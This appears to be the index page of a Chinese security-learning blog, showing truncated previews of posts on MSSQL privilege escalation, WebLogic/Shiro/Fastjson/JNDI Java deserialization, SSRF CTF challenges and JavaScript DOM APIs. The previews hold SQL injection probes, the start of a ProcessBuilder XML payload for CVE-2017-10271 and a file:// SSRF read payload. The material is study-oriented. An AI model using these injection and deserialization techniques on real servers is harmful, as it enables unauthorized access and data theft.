MSSQL&提权
MSSQL信息收集1433端口连接状态判断
1netstat -ano | findstr "1433"
判断服务器级别
1and 1=(select is_srvrolemember('sysadmin'))
判断数据库级别
1select IS_MEMBER('db_owner')
信息收集
123456789101112131415161718@@version // 数据库版本host_name() //客户端主机名称@@servername //服务端主机名称serverproperty('MachineName') //服务端主机名称user //获取当前数据库用户名db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库;select user //查询是否支持多语句select * from info where id='1'and host_name()=@@servername;--'//判断站库分离s ...
weblogic反序列化
weblogic反序列化大概就两种,一种是通过T3协议来发送反序列化恶意对象,还有一种就是XMLDecoder反序列化
XMLDecoder反序列化CVE-2017-10271
影响版本:
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.1.0
Oracle WebLogic Server 12.2.1.2.0
该漏洞主要针对weblogic的WLS-WebServices组件属于上述反序列化漏洞利用的第三类大致的原理通过传输javabean XML方式构造恶意XML数据造成代码执行
学前知识:
12345678910<java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="1"> ...
shiro反序列化
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127<?xml version="1.0" encoding="UTF-8"?><!-- ~ Licensed to the Apache Software Foundation (ASF) under one ~ or more contributor license agreements. See the NOTICE file ~ distributed with this work ...
jndi注入
概念JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务将名称和对象联系起来,使得我们可以用名称访问对象
支持的服务接口:
RMI (JAVA远程方法调用)
LDAP (轻量级目录访问协议)
CORBA (公共对象请求代理体系结构)
DNS (域名服务)
动态协议转换
服务端代码
12345678 LocateRegistry.createRegistry(6666); System.setProperty(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory"); System.setProperty(Context.PROVIDER_URL, "rmi://localhost:6666"); InitialContext ctx = new InitialContext(); ... ctx ...
jdk7u21
分析JDK7U21的主要核心就在于AnnotationInvocationHandler#equalsImpl
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length; for(int var4 = 0; var4 < var3; ++var4) ...
fastjson反序列化
概念Fastjson是一个Java库,可以将Java对象转化为Json格式,也可以把Json字符串转化为Java对象
Fastjson可以操作任何java对象,即使是一些预先存在的没有源码的对象
他的关键方法就三个
将对象转换成JSON字符串JSON.toJSONString
将JSON字符串转换成对象 JSON.parse(String) 或者JSON.parseObject(String),JSON.parseObject(String, clazz)
差异分析看这里
写个测试类
123456789101112131415161718192021222324252627282930313233package test;public class Student { private String name; private int age; public Student() { System.out.println("Construct Function"); } public Str ...
CB链
pom.xml
123456789101112131415161718192021222324252627282930313233<?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId& ...
SSRF
web3511234567891011<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$ch=curl_init($url);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$result=curl_exec($ch);curl_close($ch);echo ($result);?>
没有开启open_basedir,可以利用file协议随便读文件了
1url=file:///var/www/html/flag.php
web352,35312345678910111213141516171819202122<?phperror_reporting(0);highlight_file(__FILE__);$url=$_POST['url'];$x=parse_url($url);if($x['scheme' ...
SSRF总结
SSRF宝典
ssrf原理一般情况下,SSRF攻击的目标是从外网无法访问的内部系统,正是因为他是有服务器端发起的,所以它能够请求到与他相连而与外网隔离的内部系统
URL结构1234567891011121314151617181920URL结构遵循RFC1738标准,基本结构如下:URI=scheme:[//authority]path[?query][#fragment]其中authority又可以表示为[userinfo@]host[:port]scheme由一串大小写不敏感的字符组成,表示获取资源所需要的协议,俗称协议头authority中的userinfo是一个可选项,一般HTTP使用匿名形式来获取数据,如果需要进行身份验证,格式为username:password@来表示host是指在哪个服务器上获取资源,一般所见可以是域名形式、也可以是IP形式,包括IPV4和IPV6port为服务器端口,http协议默认为80端口,而https协议默认是443端口,ftp协议是21端口,访问时如果使用默认端口,可以将端口省略path为资源路径,一般用/进行分层,可以是基于文件的目录,也可以 ...
js-webapi
DOM元素获取基本元素getElementById()方法
1document.getElementById("intro");
返回带有指定ID的元素引用
getElementsByTagName
方法使用不区分大小写,甚至可以传入通配符*
1var p = document.getElementsByTagName("p")[0];
返回带有指定标签名的所有元素集合
getElementsByClassName
1document.getElementsByClassName("intro");
返回带有相同类名的元素列表
getElementsByClassName() 在 Internet Explorer 5,6,7,8 中无效
getElementsByName()
只对HTML文档有用,对XML不行,因为这是一个HTMLDocument类,因此它的调用方法也有些不同
1234<form name="wlk">有两种写法var form = document.wlk;var ...